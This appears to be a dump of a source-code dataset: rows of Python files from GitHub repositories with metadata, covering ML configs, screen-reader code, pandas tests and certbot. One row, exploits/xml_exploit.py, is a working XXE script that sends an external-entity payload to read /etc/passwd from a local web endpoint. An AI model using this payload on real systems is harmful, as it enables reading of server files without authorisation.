hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f718f388fa6452f78b2f19f1d9e3388c395d791d
3,742
py
Python
batchflow/models/tf/nn/train.py
bestetc/batchflow
d2a843640383fbe860654236881483f755227e06
[ "Apache-2.0" ]
null
null
null
batchflow/models/tf/nn/train.py
bestetc/batchflow
d2a843640383fbe860654236881483f755227e06
[ "Apache-2.0" ]
null
null
null
batchflow/models/tf/nn/train.py
bestetc/batchflow
d2a843640383fbe860654236881483f755227e06
[ "Apache-2.0" ]
null
null
null
""" Helpers for training """ from math import pi import tensorflow as tf def piecewise_constant(global_step, *args, **kwargs): """ Constant learning rate decay (uses global_step param instead of x) """ return tf.train.piecewise_constant(global_step, *args, **kwargs) def cyclic_learning_rate(learning_rate, gl...
38.979167
98
0.610369
from math import pi import tensorflow as tf def piecewise_constant(global_step, *args, **kwargs): return tf.train.piecewise_constant(global_step, *args, **kwargs) def cyclic_learning_rate(learning_rate, global_step, max_lr, step_size=10, mode='tri', name='CyclicLearningRate'): with t...
true
true
f718f3acb3c506bde2a21041343d064a7d260045
556
py
Python
tennisscorer/_nbdev.py
talksportsdata/tennisscorer
d795d0fbcad8ada9581f27b1f569a29562be45b1
[ "Apache-2.0" ]
1
2022-01-14T09:04:30.000Z
2022-01-14T09:04:30.000Z
tennisscorer/_nbdev.py
talksportsdata/tennisscorer
d795d0fbcad8ada9581f27b1f569a29562be45b1
[ "Apache-2.0" ]
null
null
null
tennisscorer/_nbdev.py
talksportsdata/tennisscorer
d795d0fbcad8ada9581f27b1f569a29562be45b1
[ "Apache-2.0" ]
null
null
null
# AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"Scorer": "00_core.ipynb", "TiebreakScorer": "00_core.ipynb", "MatchTiebreakScorer": "00_core.ipynb", "GamePointScorer": "00_core.ipynb", "SetTracker": "00_core.ipynb", ...
29.263158
71
0.670863
__all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"Scorer": "00_core.ipynb", "TiebreakScorer": "00_core.ipynb", "MatchTiebreakScorer": "00_core.ipynb", "GamePointScorer": "00_core.ipynb", "SetTracker": "00_core.ipynb", "MatchTracker": "00_core.ipynb"} ...
true
true
f718f4de3b5790aa8494fefb772d4ffabc4a7a81
1,506
py
Python
vcontrol/rest/providers/remove.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
5
2016-08-01T23:25:18.000Z
2019-06-02T00:10:32.000Z
vcontrol/rest/providers/remove.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
120
2016-08-02T02:00:31.000Z
2017-11-01T02:38:11.000Z
vcontrol/rest/providers/remove.py
dannypadilla/vcontrol
fe929e6138ec87e23cabd69b5c97ddb29603d0c6
[ "Apache-2.0" ]
15
2016-08-01T23:26:00.000Z
2019-11-09T13:17:54.000Z
from ..helpers import get_allowed import os import web class RemoveProviderR: """ This endpoint allows for removing a provider such as openstack or vmware. A Vent machine runs on a provider, this will not remove existing Vent machines on the specified provider. Note that a provider can only be rem...
38.615385
86
0.592297
from ..helpers import get_allowed import os import web class RemoveProviderR: allow_origin, rest_url = get_allowed.get_allowed() def GET(self, provider): try: web.header('Access-Control-Allow-Origin', self.allow_origin) except Exception as e: print(e.message) op...
true
true
f718f4ded7275d8e31c1b545e38431a629a433de
3,781
py
Python
configs/hie/resnetV1d34_baseconfig_flair.py
18152189583/mmclassification-3D
61bff05e893f123eae4497f7f1904f7447c65899
[ "Apache-2.0" ]
null
null
null
configs/hie/resnetV1d34_baseconfig_flair.py
18152189583/mmclassification-3D
61bff05e893f123eae4497f7f1904f7447c65899
[ "Apache-2.0" ]
null
null
null
configs/hie/resnetV1d34_baseconfig_flair.py
18152189583/mmclassification-3D
61bff05e893f123eae4497f7f1904f7447c65899
[ "Apache-2.0" ]
null
null
null
# dataset settings dataset_type = 'Hie_Dataset' # img_norm_cfg = dict( # mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromNIIFile'), dict(type='ExtractDataFromObj'), dict(type='NormalizeMedical', norm_type='full_volume_mean', ...
34.688073
102
0.612536
dataset_type = 'Hie_Dataset' train_pipeline = [ dict(type='LoadImageFromNIIFile'), dict(type='ExtractDataFromObj'), dict(type='NormalizeMedical', norm_type='full_volume_mean', instensity_min_val=0.5, instensity_max_val=99.5), dict(type='ResizeMedical', size=(160, 160, 80)), ...
true
true
f718f5aea68f8f5d6c62ecc3b4f133324fe5e627
1,000
py
Python
setup.py
bsatrom/blues-notecard
1ad4ebc7fd7cb2bc220a505e6066a551f51fe4d4
[ "MIT" ]
null
null
null
setup.py
bsatrom/blues-notecard
1ad4ebc7fd7cb2bc220a505e6066a551f51fe4d4
[ "MIT" ]
1
2021-02-12T10:57:00.000Z
2021-02-12T10:57:00.000Z
setup.py
bsatrom/blues-notecard
1ad4ebc7fd7cb2bc220a505e6066a551f51fe4d4
[ "MIT" ]
1
2021-02-10T19:51:48.000Z
2021-02-10T19:51:48.000Z
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="note-python", version="1.3.0", author="Blues Inc.", author_email="support@blues.com", description="Cross-platform Python Library for the Blues Wireless Notecard,", long_description=lon...
33.333333
81
0.638
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="note-python", version="1.3.0", author="Blues Inc.", author_email="support@blues.com", description="Cross-platform Python Library for the Blues Wireless Notecard,", long_description=lon...
true
true
f718f67accd3c8664e57d618ee604d999d66ea44
1,424
py
Python
SpringSemester2021/14_Exercises/Ex14_Clust-01_Sol.py
KretschiGL/DataScienceLecture
e6bbb3efd531b08aa4757fb6e89d12e959678a44
[ "MIT" ]
1
2021-05-09T11:02:35.000Z
2021-05-09T11:02:35.000Z
SpringSemester2021/14_Exercises/Ex14_Clust-01_Sol.py
KretschiGL/DataScienceLecture
e6bbb3efd531b08aa4757fb6e89d12e959678a44
[ "MIT" ]
null
null
null
SpringSemester2021/14_Exercises/Ex14_Clust-01_Sol.py
KretschiGL/DataScienceLecture
e6bbb3efd531b08aa4757fb6e89d12e959678a44
[ "MIT" ]
1
2020-05-26T15:35:40.000Z
2020-05-26T15:35:40.000Z
# Init Solution import numpy as np import pandas as pd import matplotlib.pyplot as plt %matplotlib inline import seaborn as sns sns.set() from IPython.display import display, Markdown # Init Solution completed from sklearn.cluster import DBSCAN from sklearn.base import clone display(Markdown("###### Loading Wi-Fi Da...
31.644444
110
0.707163
import numpy as np import pandas as pd import matplotlib.pyplot as plt %matplotlib inline import seaborn as sns sns.set() from IPython.display import display, Markdown from sklearn.cluster import DBSCAN from sklearn.base import clone display(Markdown("###### Loading Wi-Fi Data")) data = pd.read_csv("./Ex14_Clust-01_...
false
true
f718f6c4067656037123e38cebf5af9768e2732f
28,363
py
Python
source/virtualBuffers/__init__.py
GdePaulo/nvda
71c385eae1d7f77c47a0871a690c1142c4c724e2
[ "bzip2-1.0.6" ]
6
2021-03-08T07:28:08.000Z
2022-02-23T02:48:23.000Z
source/virtualBuffers/__init__.py
GdePaulo/nvda
71c385eae1d7f77c47a0871a690c1142c4c724e2
[ "bzip2-1.0.6" ]
null
null
null
source/virtualBuffers/__init__.py
GdePaulo/nvda
71c385eae1d7f77c47a0871a690c1142c4c724e2
[ "bzip2-1.0.6" ]
2
2021-07-16T00:25:27.000Z
2022-03-24T08:36:36.000Z
# -*- coding: UTF-8 -*- #virtualBuffers/__init__.py #A part of NonVisual Desktop Access (NVDA) #This file is covered by the GNU General Public License. #See the file COPYING for more details. #Copyright (C) 2007-2017 NV Access Limited, Peter Vágner import time import threading import ctypes import collection...
38.906722
212
0.741776
import time import threading import ctypes import collections import itertools import weakref import wx import review import NVDAHelper import XMLFormatting import scriptHandler from scriptHandler import isScriptWaiting, willSayAllResume import speech import NVDAObjects import api import sayAllHandler ...
true
true
f718f706894e02a8cb3427d1bb25139c6ae58378
7,286
py
Python
man_clus.py
frankier/finn-sense-clust
9b76ee3bdacc9b039432674306650c6edb9da3bb
[ "Apache-2.0" ]
null
null
null
man_clus.py
frankier/finn-sense-clust
9b76ee3bdacc9b039432674306650c6edb9da3bb
[ "Apache-2.0" ]
2
2019-04-27T14:40:10.000Z
2019-08-21T15:43:19.000Z
man_clus.py
frankier/finn-sense-clust
9b76ee3bdacc9b039432674306650c6edb9da3bb
[ "Apache-2.0" ]
null
null
null
from pprint import pprint import click from senseclust.queries import joined, joined_freq from wikiparse.tables import headword, word_sense from sqlalchemy.sql import distinct, select from sqlalchemy.sql.functions import count from os.path import join as pjoin from senseclust.wordnet import get_lemma_objs, WORDNETS fro...
35.198068
131
0.549684
from pprint import pprint import click from senseclust.queries import joined, joined_freq from wikiparse.tables import headword, word_sense from sqlalchemy.sql import distinct, select from sqlalchemy.sql.functions import count from os.path import join as pjoin from senseclust.wordnet import get_lemma_objs, WORDNETS fro...
true
true
f718f70961bab8dab9071693156e930da601e4b4
10,851
py
Python
utils/polus-filepattern-util/filepattern/classes.py
Vishakha6/polus-plugins
ff6a31d5a6b78a26378745719f19d3e724e25670
[ "MIT" ]
1
2021-07-23T20:46:18.000Z
2021-07-23T20:46:18.000Z
utils/polus-filepattern-util/filepattern/classes.py
Vishakha6/polus-plugins
ff6a31d5a6b78a26378745719f19d3e724e25670
[ "MIT" ]
2
2021-07-13T16:20:31.000Z
2021-08-20T11:21:34.000Z
utils/polus-filepattern-util/filepattern/classes.py
gauharbains/polus-plugins
5e4d1e33bb61d7619d3a76fb7c115d475628a909
[ "MIT" ]
3
2021-08-04T15:45:53.000Z
2022-03-09T19:03:57.000Z
import copy, pathlib, typing, abc from filepattern.functions import get_regex, get_matching, parse_directory, \ parse_vector, logger, VARIABLES, output_name, \ _parse, parse_filename class PatternObject(): """ Abstract base class for handling file...
38.478723
126
0.589531
import copy, pathlib, typing, abc from filepattern.functions import get_regex, get_matching, parse_directory, \ parse_vector, logger, VARIABLES, output_name, \ _parse, parse_filename class PatternObject(): def __init__(self, file...
true
true
f718f7738c7e7e56290c2c143c5634263a7cef6f
2,697
py
Python
cumulusci/tasks/preflight/tests/test_settings.py
atrancandoris/CumulusCI
cc468ea315af2dd8c11b67f9316af65530d0f4bc
[ "BSD-3-Clause" ]
1
2020-12-04T10:29:31.000Z
2020-12-04T10:29:31.000Z
cumulusci/tasks/preflight/tests/test_settings.py
ThierryFeltin/CumulusCI
80fece4ea526c3c531fbb3fd9a8ec56e6fa80d14
[ "BSD-3-Clause" ]
null
null
null
cumulusci/tasks/preflight/tests/test_settings.py
ThierryFeltin/CumulusCI
80fece4ea526c3c531fbb3fd9a8ec56e6fa80d14
[ "BSD-3-Clause" ]
null
null
null
from cumulusci.tasks.preflight.settings import CheckSettingsValue from cumulusci.tasks.salesforce.tests.util import create_task from simple_salesforce.exceptions import SalesforceMalformedRequest import pytest import responses JSON_RESPONSE = { "records": [{"IntVal": 3, "FloatVal": 3.0, "BoolVal": True, "String...
23.867257
121
0.599184
from cumulusci.tasks.preflight.settings import CheckSettingsValue from cumulusci.tasks.salesforce.tests.util import create_task from simple_salesforce.exceptions import SalesforceMalformedRequest import pytest import responses JSON_RESPONSE = { "records": [{"IntVal": 3, "FloatVal": 3.0, "BoolVal": True, "String...
true
true
f718f9f194730e615e7ec9ce3e7cb3a576ea5bd8
264
py
Python
text/_cascade/_typing/_dimension.py
jedhsu/text
8525b602d304ac571a629104c48703443244545c
[ "Apache-2.0" ]
null
null
null
text/_cascade/_typing/_dimension.py
jedhsu/text
8525b602d304ac571a629104c48703443244545c
[ "Apache-2.0" ]
null
null
null
text/_cascade/_typing/_dimension.py
jedhsu/text
8525b602d304ac571a629104c48703443244545c
[ "Apache-2.0" ]
null
null
null
""" Dimension """ from abc import ABCMeta from dataclasses import dataclass __all__ = ["Dimension"] from .numeric import Number from ._unit import UnitMeasure @dataclass class Dimension: __metaclass__ = ABCMeta number: Number unit: UnitMeasure
12
33
0.734848
from abc import ABCMeta from dataclasses import dataclass __all__ = ["Dimension"] from .numeric import Number from ._unit import UnitMeasure @dataclass class Dimension: __metaclass__ = ABCMeta number: Number unit: UnitMeasure
true
true
f718fa636465cb39461b7969d2924c94c71ba30c
814
py
Python
payment/migrations/0012_webhookevent.py
botent/django-stripe-paypal
3a768a6c45913513197f4f6b7044223ae96db716
[ "MIT" ]
3
2021-07-29T16:27:49.000Z
2021-11-12T15:39:42.000Z
payment/migrations/0012_webhookevent.py
botent/django-stripe-paypal
3a768a6c45913513197f4f6b7044223ae96db716
[ "MIT" ]
null
null
null
payment/migrations/0012_webhookevent.py
botent/django-stripe-paypal
3a768a6c45913513197f4f6b7044223ae96db716
[ "MIT" ]
null
null
null
# Generated by Django 3.2.5 on 2021-09-21 12:01 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('payment', '0011_alter_paymentorder_name'), ] operations = [ migrations.CreateModel( name='WebhookEvent', fields=[ ...
33.916667
117
0.608108
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('payment', '0011_alter_paymentorder_name'), ] operations = [ migrations.CreateModel( name='WebhookEvent', fields=[ ('id', models.BigAutoField(auto_cr...
true
true
f718fa9de893038d5ae56ecc48f2dcaf85abea50
2,969
py
Python
tests/automation_framework/src/worker_lookup/worker_lookup_params.py
shresthichauhan/trusted-compute-framework
1ad89fa6fa4492f43bb79e1c9be3536c4f0ff7f7
[ "Apache-2.0" ]
null
null
null
tests/automation_framework/src/worker_lookup/worker_lookup_params.py
shresthichauhan/trusted-compute-framework
1ad89fa6fa4492f43bb79e1c9be3536c4f0ff7f7
[ "Apache-2.0" ]
null
null
null
tests/automation_framework/src/worker_lookup/worker_lookup_params.py
shresthichauhan/trusted-compute-framework
1ad89fa6fa4492f43bb79e1c9be3536c4f0ff7f7
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
31.924731
77
0.613675
import json import logging logger = logging.getLogger(__name__) class WorkerLookUp(): def __init__(self): self.id_obj = {"jsonrpc": "2.0", "method": "WorkerLookUp", "id": 1} self.params_obj = {} self.request_mode = "file" self.tamper = {"params": {}} self.output_json_fil...
true
true
f718fb16220b88d0cf774ed5e6300836f3128f5c
1,055
py
Python
solutions/sliding_window_maximum/solution.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
solutions/sliding_window_maximum/solution.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
solutions/sliding_window_maximum/solution.py
ansonmiu0214/dsa-worked-solutions
88801d268b78506edd77e771c29b4c9f4ae0f59a
[ "MIT" ]
null
null
null
from collections import deque from typing import List def maxSlidingWindow(nums: List[int], k: int) -> List[int]: """Return the max sliding window of size 'k' on 'nums'.""" maxWindow = [] # Keep track of the indices of the 'max' candidates. # Elements are guaranteed to be in decreasing order. max...
31.969697
71
0.602844
from collections import deque from typing import List def maxSlidingWindow(nums: List[int], k: int) -> List[int]: maxWindow = [] maxIdxs = deque([0]) for i, num in enumerate(nums): leftBoundary = i - k while maxIdxs and maxIdxs[0] <= leftBoundary: maxIdxs...
true
true
f718fb322a11e301def104bf6bbcf5c5efdc385b
1,066
py
Python
algorithms/648. Replace Words.py
woozway/py3-leetcode
e51a9ce7a6bb3e35c0fcb8c8f4f6cd5763708dbf
[ "MIT" ]
1
2020-12-02T13:54:30.000Z
2020-12-02T13:54:30.000Z
algorithms/648. Replace Words.py
woozway/py3-leetcode
e51a9ce7a6bb3e35c0fcb8c8f4f6cd5763708dbf
[ "MIT" ]
null
null
null
algorithms/648. Replace Words.py
woozway/py3-leetcode
e51a9ce7a6bb3e35c0fcb8c8f4f6cd5763708dbf
[ "MIT" ]
null
null
null
""" 1. Clarification 2. Possible solutions - Prefix Hash - Trie 3. Coding 4. Tests """ # T=O(sigma(wi^2)), S=O(n), wi=len(i-th word) class Solution: def replaceWords(self, dictionary: List[str], sentence: str) -> str: def replace(word): for i in range(1, len(word)): if ...
26.65
72
0.54878
class Solution: def replaceWords(self, dictionary: List[str], sentence: str) -> str: def replace(word): for i in range(1, len(word)): if word[:i] in rootset: return word[:i] return word rootset = set(dictionary) return ' '.join(m...
true
true
f718fb6285f131a554f6e66796002cf04bdb687c
16,091
py
Python
rocrate/rocrate.py
sourav0220/ro-crate-py
e279fc7ddf188f0b22b671ab9c670f3333b477e1
[ "Apache-2.0" ]
null
null
null
rocrate/rocrate.py
sourav0220/ro-crate-py
e279fc7ddf188f0b22b671ab9c670f3333b477e1
[ "Apache-2.0" ]
null
null
null
rocrate/rocrate.py
sourav0220/ro-crate-py
e279fc7ddf188f0b22b671ab9c670f3333b477e1
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # Copyright 2019-2020 The University of Manchester, UK # Copyright 2020 Vlaams Instituut voor Biotechnologie (VIB), BE # Copyright 2020 Barcelona Supercomputing Center (BSC), ES # Copyright 2020 Center for Advanced Studies, Research and Development in Sardinia (CRS4), IT # # Licensed under the Ap...
37.42093
136
0.618358
import importlib import json import os import uuid import requests import zipfile import atexit import shutil import tempfile from pathlib import Path from .model import contextentity from .model.root_dataset import RootDataset from .model.file import File from .model.person import Person from .model.dataset import...
true
true
f718fbc2d26d5ffb3491afb7372ff14d83ab4105
2,368
py
Python
src/erdbeermet/tools/FileIO.py
bnittka/Erdbeermet
43c73d4cf3a918090320c7519a9ea09014f46744
[ "MIT" ]
5
2021-12-02T14:53:02.000Z
2022-01-03T08:24:16.000Z
src/erdbeermet/tools/FileIO.py
bnittka/Erdbeermet
43c73d4cf3a918090320c7519a9ea09014f46744
[ "MIT" ]
1
2022-01-10T09:07:44.000Z
2022-01-10T10:20:07.000Z
src/erdbeermet/tools/FileIO.py
bnittka/Erdbeermet
43c73d4cf3a918090320c7519a9ea09014f46744
[ "MIT" ]
7
2021-12-13T14:56:33.000Z
2022-01-18T17:47:38.000Z
# -*- coding: utf-8 -*- import re def write_history(filename, history): with open(filename, 'w') as f: start = True for x, y, z, alpha, delta in history: delta_str = '[' + ','.join(str(d) for d in delta) + ']' if start: f.write(f"({x}...
26.909091
130
0.425676
import re def write_history(filename, history): with open(filename, 'w') as f: start = True for x, y, z, alpha, delta in history: delta_str = '[' + ','.join(str(d) for d in delta) + ']' if start: f.write(f"({x}, {y}: {z}) {alpha}; {de...
true
true
f718fd3a703f958aab1607b729f55dd3d248123d
2,222
py
Python
tensorflow_datasets/translate/wmt19.py
leenamaheshnikam10/datasets
762cc556c364ecbb930b825709aa81647d889300
[ "Apache-2.0" ]
2
2019-10-20T05:40:10.000Z
2019-10-31T17:25:52.000Z
tensorflow_datasets/translate/wmt19.py
thanhkaist/datasets
02da35c558ec8ea704e744a2008c5cecb2e7a0a1
[ "Apache-2.0" ]
1
2019-04-09T07:50:49.000Z
2019-04-09T07:51:10.000Z
tensorflow_datasets/translate/wmt19.py
thanhkaist/datasets
02da35c558ec8ea704e744a2008c5cecb2e7a0a1
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2019 The TensorFlow Datasets Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
36.42623
115
0.673267
import tensorflow_datasets.public_api as tfds from tensorflow_datasets.translate import wmt _URL = "http://www.statmt.org/wmt19/translation-task.html" _CITATION = """ @ONLINE {wmt19translate, author = "Wikimedia Foundation", title = "ACL 2019 Fourth Conference on Machine Translation (WMT19), Shared Task: Ma...
true
true
f718fd47d1d672bb8ec94a96424517579c5f1682
7,525
py
Python
perfAnalysis.py
malllabiisc/kg-geometry
d5b40d6795085109da5438cdc1d83d32fd5fc373
[ "Apache-2.0" ]
18
2018-07-31T06:33:45.000Z
2021-07-22T11:27:40.000Z
perfAnalysis.py
malllabiisc/kg-geometry
d5b40d6795085109da5438cdc1d83d32fd5fc373
[ "Apache-2.0" ]
3
2018-07-30T02:48:06.000Z
2021-05-03T07:17:48.000Z
perfAnalysis.py
malllabiisc/kg-geometry
d5b40d6795085109da5438cdc1d83d32fd5fc373
[ "Apache-2.0" ]
2
2018-07-01T08:53:06.000Z
2018-12-12T05:15:40.000Z
import sys import os import argparse import cPickle as pickle from ConfigParser import ConfigParser as ConfigParser from itertools import product import numpy as np from sklearn.decomposition import PCA from matplotlib import pyplot as plt from matplotlib.legend_handler import HandlerLine2D from sklearn.manifold impo...
48.548387
149
0.561063
import sys import os import argparse import cPickle as pickle from ConfigParser import ConfigParser as ConfigParser from itertools import product import numpy as np from sklearn.decomposition import PCA from matplotlib import pyplot as plt from matplotlib.legend_handler import HandlerLine2D from sklearn.manifold impo...
false
true
f71900153bd1b94d6b9815bcc58db5cfd55c8cd4
8,530
py
Python
src/python/twitter/pants/tasks/depmap.py
wfarner/commons
42988a7a49f012665174538cca53604c7846ee86
[ "Apache-2.0" ]
1
2019-12-20T14:13:27.000Z
2019-12-20T14:13:27.000Z
src/python/twitter/pants/tasks/depmap.py
wfarner/commons
42988a7a49f012665174538cca53604c7846ee86
[ "Apache-2.0" ]
null
null
null
src/python/twitter/pants/tasks/depmap.py
wfarner/commons
42988a7a49f012665174538cca53604c7846ee86
[ "Apache-2.0" ]
1
2019-12-20T14:13:29.000Z
2019-12-20T14:13:29.000Z
# ================================================================================================== # Copyright 2011 Twitter, Inc. # -------------------------------------------------------------------------------------------------- # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use thi...
43.520408
100
0.59027
from __future__ import print_function from twitter.pants.tasks.console_task import ConsoleTask from twitter.pants.tasks import TaskError from twitter.pants import is_jvm, is_jvm_app, is_python, is_concrete from twitter.pants.targets.jar_dependency import JarDependency class Depmap(ConsoleTask): @staticmethod ...
true
true
f7190276ce7083fff4e92fe7957e9808976cfa88
15,748
py
Python
tests/test_wrapper.py
Neki/datadog-lambda-python
57cc2404b7d2d8ee5ff7791f41f0036aabd13d0c
[ "Apache-2.0" ]
null
null
null
tests/test_wrapper.py
Neki/datadog-lambda-python
57cc2404b7d2d8ee5ff7791f41f0036aabd13d0c
[ "Apache-2.0" ]
null
null
null
tests/test_wrapper.py
Neki/datadog-lambda-python
57cc2404b7d2d8ee5ff7791f41f0036aabd13d0c
[ "Apache-2.0" ]
null
null
null
import os import unittest try: from unittest.mock import patch, call, ANY, MagicMock except ImportError: from mock import patch, call, ANY, MagicMock from datadog_lambda.wrapper import datadog_lambda_wrapper from datadog_lambda.metric import lambda_metric from datadog_lambda.thread_stats_writer import ThreadS...
35.954338
97
0.573025
import os import unittest try: from unittest.mock import patch, call, ANY, MagicMock except ImportError: from mock import patch, call, ANY, MagicMock from datadog_lambda.wrapper import datadog_lambda_wrapper from datadog_lambda.metric import lambda_metric from datadog_lambda.thread_stats_writer import ThreadS...
true
true
f719035a10609454242fe84d548ee0290b6fb04e
34,201
py
Python
pandas/tests/io/parser/test_parse_dates.py
sayanmondal2098/pandas
2f6b90aaaab6814c102eb160c5a9c11bc04a092e
[ "BSD-3-Clause" ]
1
2019-05-19T13:44:03.000Z
2019-05-19T13:44:03.000Z
pandas/tests/io/parser/test_parse_dates.py
sanjusci/pandas
a1fee9199eba7ebf423880243936b9f1501d3d3a
[ "BSD-3-Clause" ]
null
null
null
pandas/tests/io/parser/test_parse_dates.py
sanjusci/pandas
a1fee9199eba7ebf423880243936b9f1501d3d3a
[ "BSD-3-Clause" ]
3
2018-01-08T08:40:55.000Z
2019-10-07T02:02:40.000Z
# -*- coding: utf-8 -*- """ Tests date parsing functionality for all of the parsers defined in parsers.py """ from datetime import date, datetime from io import StringIO import numpy as np import pytest import pytz from pandas._libs.tslib import Timestamp from pandas._libs.tslibs import parsing from pandas.compat i...
40.189189
79
0.570597
from datetime import date, datetime from io import StringIO import numpy as np import pytest import pytz from pandas._libs.tslib import Timestamp from pandas._libs.tslibs import parsing from pandas.compat import lrange, parse_date from pandas.compat.numpy import np_array_datetime64_compat import pandas as pd from ...
true
true
f71904faf2288daafe85d61933530d6aa3302b20
22,091
py
Python
scripts/cybox_to_oval/cybox/win_mailslot_object_1_1.py
AAG-SATIEDN/Tools
1119af9c6a498c32690d4f3cc2310565112bca76
[ "BSD-3-Clause" ]
1
2015-11-08T16:06:03.000Z
2015-11-08T16:06:03.000Z
scripts/cybox_to_oval/cybox/win_mailslot_object_1_1.py
AAG-SATIEDN/Tools
1119af9c6a498c32690d4f3cc2310565112bca76
[ "BSD-3-Clause" ]
null
null
null
scripts/cybox_to_oval/cybox/win_mailslot_object_1_1.py
AAG-SATIEDN/Tools
1119af9c6a498c32690d4f3cc2310565112bca76
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated Tue Apr 10 13:54:57 2012 by generateDS.py version 2.7b. # import sys import getopt import re as re_ import common_types_1_0 as common import win_handle_object_1_2 as win_handle_object etree_ = None Verbose_import_ = False ( XMLParser_import_none, XMLPars...
38.486063
145
0.626499
import sys import getopt import re as re_ import common_types_1_0 as common import win_handle_object_1_2 as win_handle_object etree_ = None Verbose_import_ = False ( XMLParser_import_none, XMLParser_import_lxml, XMLParser_import_elementtree ) = range(3) XMLParser_import_library = None try: from lxm...
false
true
f71905580a519f932cc674741f730cc9139a87df
833
py
Python
Dataset/Leetcode/valid/102/204.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/valid/102/204.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
Dataset/Leetcode/valid/102/204.py
kkcookies99/UAST
fff81885aa07901786141a71e5600a08d7cb4868
[ "MIT" ]
null
null
null
class Solution: def XXX(self, root: TreeNode) -> List[List[int]]: if not root: return [] #思想就是使用队列辅助,首先根节点入队,然后开始循环,当队列不为空,不停的出队并将出队节点的左右节点入队 res=[] q=[root] count1,count2=1,0 #主要问题就是这个输出格式有点脑瘫,非得一层一起输出,所以这里定义两个变量count1,count2,为什么定两个,可以理解成一个用来统计下一层有多少节点,一...
33.32
124
0.521008
class Solution: def XXX(self, root: TreeNode) -> List[List[int]]: if not root: return [] res=[] q=[root] count1,count2=1,0 while q: temp=[] for _ in range(count1): p=q.pop(0) temp.append(p.va...
true
true
f719056e15b29ef4606019d3603298ad5627461c
314
py
Python
exploits/xml_exploit.py
denny00786/CASoftwareDevelopment
d03c82b6bb033a39b4270115ec464eca773e0814
[ "Apache-2.0" ]
1
2020-04-02T00:29:16.000Z
2020-04-02T00:29:16.000Z
exploits/xml_exploit.py
denny00786/CASoftwareDevelopment
d03c82b6bb033a39b4270115ec464eca773e0814
[ "Apache-2.0" ]
null
null
null
exploits/xml_exploit.py
denny00786/CASoftwareDevelopment
d03c82b6bb033a39b4270115ec464eca773e0814
[ "Apache-2.0" ]
4
2021-04-01T21:31:01.000Z
2022-03-23T08:22:44.000Z
import requests url = 'http://localhost/xml' shellcode = '''<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo> &xxe; </foo> ''' data = {'input_data': shellcode} response = requests.post(url, data=data) print(response.text)
15.7
58
0.640127
import requests url = 'http://localhost/xml' shellcode = '''<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo> &xxe; </foo> ''' data = {'input_data': shellcode} response = requests.post(url, data=data) print(response.text)
true
true
f71905d79157038348e3b499a02d4481fdbe417c
11,471
py
Python
certbot/plugins/dns_common.py
aaroncohen/certbot
c3434bac26592585d12feb781a87f3e2be846e42
[ "Apache-2.0" ]
1
2018-09-12T03:07:11.000Z
2018-09-12T03:07:11.000Z
certbot/plugins/dns_common.py
978740431/certbot
c3434bac26592585d12feb781a87f3e2be846e42
[ "Apache-2.0" ]
null
null
null
certbot/plugins/dns_common.py
978740431/certbot
c3434bac26592585d12feb781a87f3e2be846e42
[ "Apache-2.0" ]
null
null
null
